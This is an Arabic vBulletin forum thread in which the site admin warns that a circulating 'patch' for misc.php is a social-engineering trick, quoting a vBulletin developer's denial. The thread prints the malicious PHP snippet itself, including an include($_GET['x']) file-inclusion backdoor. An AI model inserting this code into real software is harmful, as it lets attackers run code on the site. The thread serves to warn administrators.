منتديات مدرسة المشاغبين  
دردشة وشات المشاغبين دردشة شات منوع شات خليجي
ماشاء الله تبارك الله ماشاء الله لاقوة الا بالله

العودة  »  منتديات مدرسة المشاغبين > منتديات تطوير مواقع تطوير منتديات منتديات برمجه منتديات سكربتات PHP CGI ASP.NET SQL Scripts > تطوير و صيانة المنتديات vBulletin


للانف و الوجه عيادة بشار البزرة جراحة تجميل الانف و الوجه ينتهي في 19\12\1429 هـ

منتديات جسد اللقافة ينتهي في 15\2\1429 هـ 'منتدى لحظات لكل جديد ومفيد حيث المتعه والفائده ينتهي في 13\12\1429 هـ موقع احطك بعيوني ينتهي في 19\12\1429 هـ
عقارية المدينة ينتهي في 12\12\1429 هـ حراج سيارات شراء استبدال بيع جديدة و مستعملة جميع أنواع السيارات ينتهي في 12\5\1430 هـ موقع نهر الأنمي انتهاء في تاريخ 3-12-1429 هـ
مركز تحميل فلفة ينتهي في 16\12\1429 هـ 'للاعلان بالموقع 0\0\1429 هـ شبكة ورود الروح ينتهي في 16\12\1429 هـ


نعتذر عن حذف وايقاف اي عضو يستخدم بريد وهمي او غير صحيح او اسم غير لائق على ذلك جرى التنبيه
البعض يتسائل كيف يمكنني التسجيل و ماهي طريقة الحصول على عضوية بدون مشاكل الحل سهل جدا شرح كامل بالصور ( من هنا )

ثغرة في ملف misc.php تسبب الااختراق


إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
  #1 (permalink)  
قديم 01-25-2007, 03:39 PM
صورة ابو عمر
مسؤول الموقع
 
تاريخ التسجيل: May 2001
البلد - المكان و السكن : القصيم
السيرة : محب للكل مسامح احب الحياة البرية
الهواية : البرمجة
الوظيفة - العمل: اعمال حره
الجنس : رجل man
الجنسية : سعودي
موقع : مدرسة المشاغبين
الجوال الموبايل : اتش تي سي HTC6300
مشاركات : 9,377
العمر : 31
ثغرة في ملف misc.php تسبب الااختراق

وعليكم السلام ورحمة الله وبركاته


ممكن كثير منكم سمع عن ثغرة يروج لها وهي بملف misc.php

ثغرة في ملف misc.php تودي للاختراق

وممكن طلب الي ذكر الثغره وضع الكود التالي

كود:
$f=trim($f); 
echo ini_get("safe_mode"); 
echo ini_get("open_basedir"); 
include("$f"); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 
echo ini_get("safe_mode"); 
echo ini_get("open_basedir"); 
include("$f"); 
include($_GET['x']);

طبعا المشكله الكثير يصدق من الخوف ويروح يرقع لكن خطر خطر خطر انتبهو

بل التعديل هو الي بيسبب الاختراق

وهذا رد الشركه الام على الي زعموا الثغره


====================

Hi,

There is no security flaw. This is simple an attempt to use social engineering to get you to apply malicious code to your board.

Never use unofficial patches or code releases.

Mike Sullivan
Developer Team, vBulletin

[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

لذا انتبهو من كل من ياتي بافكار وووو الخ بدون مصدر موثوق

اخوكم ابو عمر


من مواضيعي 0 حل مشكله خطا تحديث العدادات للاعضاء
0 الاصدار 374 من النسخة الماسية بدون هاكات
0 البلوت بنت السبيت شايب الديبمن ولد الشريا والهاص تحليل اسماء وشخصيات
0 HD Touch HTC
0 HTC Touch 3G

منتديات فراشة حواء - للبنات للنساء للستات للحريم
اغاني اسلامية اغاني جديدة اشرطة اناشيد جديدة احدث الاغاني افضل الاناشيد اخر و احلى الالبومات
كتب اكترونية

دليل مواقع الفوركس والمتاجرة الالكترونية

رد مع اقتباس
  #3 (permalink)  
قديم 01-25-2007, 04:04 PM
صورة HaRD-2-GeT
ادارة الاقسام التطويريه
 
تاريخ التسجيل: Jan 2006
البلد - المكان و السكن :
السيرة :
الهواية :
الوظيفة - العمل:
الجنس :
الجنسية :
موقع :
الجوال الموبايل :
مشاركات : 1,048
العمر :
أبو عمر ,, ما هو الحل , للللي رقع علطول ,,

الحل هو رفع الملف الاصلي ؟؟؟ صح ؟


من مواضيعي 0 هذا هو ما أريد ((( الحب الذي أريد ))
0 قـوانـيـن منتدى الاستايلات ( للقراءة والالتزام)
0 قـوانـيـن منتدى الهاكـــات ( للقراءة والالتزام)
0 لــم يــتم الـرد على موضـوعك ؟؟!! ادخل هنــــــا :)
0 (شرح) كيف تضيف علامة صح أمام < تذكرني ؟ > عند تسجيل الدخول

منتديات فراشة حواء - للبنات للنساء للستات للحريم
اغاني اسلامية اغاني جديدة اشرطة اناشيد جديدة احدث الاغاني افضل الاناشيد اخر و احلى الالبومات
كتب اكترونية

دليل مواقع الفوركس والمتاجرة الالكترونية

رد مع اقتباس
  #4 (permalink)  
قديم 01-25-2007, 04:27 PM
صورة AFROTTO
طالب ابتدائي
 
تاريخ التسجيل: Jan 2007
البلد - المكان و السكن :
السيرة :
الهواية :
الوظيفة - العمل:
الجنس :
الجنسية :
موقع :
الجوال الموبايل :
مشاركات : 59
العمر :
مشكوووور جدااا البدر

وأنا واحد من الناس اللى باخد كلامك ثقة دائما

بالتوفيق دائما أخى


من مواضيعي 0 دلوقتى تقدر تغير خط موبايلك (للجيل الثالث)
0 100 أستايل أجنبى هدية للجميع
0 هام لكل المسلمين ...شاب كافر يلعن الآمة الآسلامية والمصريين
0 اخر اصدار فلاش شات و حصري جدا FlashChat_
0 حصريااا DigiChat AV 5 مرخص مع كراك

منتديات فراشة حواء - للبنات للنساء للستات للحريم
اغاني اسلامية اغاني جديدة اشرطة اناشيد جديدة احدث الاغاني افضل الاناشيد اخر و احلى الالبومات
كتب اكترونية

دليل مواقع الفوركس والمتاجرة الالكترونية

رد مع اقتباس
  #5 (permalink)  
قديم 01-25-2007, 04:44 PM
يمون على المشاغبين
 
تاريخ التسجيل: Jan 2005
البلد - المكان و السكن :
السيرة :
الهواية :
الوظيفة - العمل:
الجنس :
الجنسية :
موقع :
الجوال الموبايل :
مشاركات : 1,152
العمر : 22
الثغرة موجوة يالبدر
وتم أختراق عدة مواقع كبيرة بسببها


من مواضيعي 0 خاص جداً لأعضاء وزوار مدرسة المشاغبين لا يفوتكم
0 عيناكي واحزاني
0 10 مواقع مجانية مساحة 1 جيجا
0 ألبوم نجوى كربم 2007 كامل
0 نجوى كرم كما عودناكم كل جديد مع جده طرب

منتديات فراشة حواء - للبنات للنساء للستات للحريم
اغاني اسلامية اغاني جديدة اشرطة اناشيد جديدة احدث الاغاني افضل الاناشيد اخر و احلى الالبومات
كتب اكترونية

دليل مواقع الفوركس والمتاجرة الالكترونية

رد مع اقتباس
إضافة رد على ثغرة في ملف misc.php تسبب الااختراق

مواقع النشر


أدوات الموضوع
انواع عرض الموضوع



الساعة الآن 10:09 PM.


للإعلان بالموقع    |    اتصـل بنــا

Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd diamond


SEO by vBSEO 3.1.0